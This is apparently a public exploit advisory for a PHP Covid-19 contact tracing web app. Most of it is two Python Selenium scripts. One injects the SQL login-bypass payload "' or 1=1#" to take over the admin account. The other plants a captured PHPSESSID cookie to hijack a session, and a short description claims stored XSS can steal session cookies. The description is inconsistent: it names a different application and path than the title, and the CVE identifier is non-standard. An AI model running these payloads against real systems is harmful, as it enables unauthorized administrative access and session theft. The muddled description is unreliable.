### Exploit Title: Covid-19 Contact Tracing System Web App with QR Code Scanning CTS-QR (by: oretnom23 ) v1.0 remote SQL-Injection-Bypass-Authentication in /cts_qr/classes/Login.php + XSS-Stored PWNED PHPSESSID Vulnerable parameter "code" in applicatoin State/Province List.
### Author: nu11secur1ty
### Testing and Debugging: nu11secur1ty
### Date: 09.01.2021
### Vendor: https://www.sourcecodester.com/user/257130/activity
### Link:
https://www.sourcecodester.com/php/14728/covid-19-contact-tracing-system-web-app-qr-code-scanning-using-php-source-code.html
### CVE: CVE-nu11-04

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug and Developement: @nu11secur1ty
# CVE-nu11-04

from selenium import webdriver
import time


#enter the link to the website you want to automate login.
website_link="http://localhost/cts_qr/admin/login.php"

#enter your login username
username="nu11secur1ty' or 1=1#"

#enter your login password
password="nu11secur1ty' or 1=1#"

#enter the element for username input field
element_for_username="username"
#enter the element for password input field
element_for_password="password"

browser = webdriver.Chrome()
browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
browser.maximize_window()
time.sleep(1)
browser.execute_script("document.querySelector('[class=\"btn btn-primary
btn-block\"]').click()")

print("The payload for CVE-nu11-04 is deployed...\n")

except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Some error occured :(")


[+] PWNED PHPSESSID

#!/usr/bin/python
# @nu11secur1ty
import time
from selenium import webdriver

driver = webdriver.Chrome()

driver.maximize_window()
driver.get("http://localhost/cts_qr/admin/login.php")
driver.add_cookie({'name': 'PHPSESSID', 'value':
'9flj0am7gv7cp3to8ujurvn1rs'})

print(driver.get_cookie('PHPSESSID'))
driver.get("http://localhost/cts_qr/admin/login.php")

time.sleep(3)

print("Your PHPSESSID is PWNED")


------------------------------------------------------------------

### Remote vulnerable link execution:
http://localhost/cts_qr/admin/login.php

### Description:
The OLMS - PHP (by: oretnom23 ) v1.0 in the application
/leave_system/classes/Login.php from SQL-Injection-Bypass-Authentication
m0re info:
https://portswigger.net/support/using-sql-injection-to-bypass-authentication.

The parameter (username) from the login form is not protected correctly and
there is no security and escaping from malicious payloads.
When the user will sending a malicious query or malicious payload to the
MySQL server he can bypass the login credentials and take control of the
administer account.

------------------------------------------------------------------
### Description PWNED PHPSESSID:
When the malicious user takes control of the administer account, by using
the remote-MySQL-Injection-Authentication,
then he can perform an XSS Stored attack, for stealing PHPSESSID
information and get another login by using another malicious software!
- Conclusion:
This software must be DEPRECATED EMIDIATLY!!!


### Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/CVE-nu11-04/XSS
### Proof: https://streamable.com/luf1bw
### BR nu11secur1ty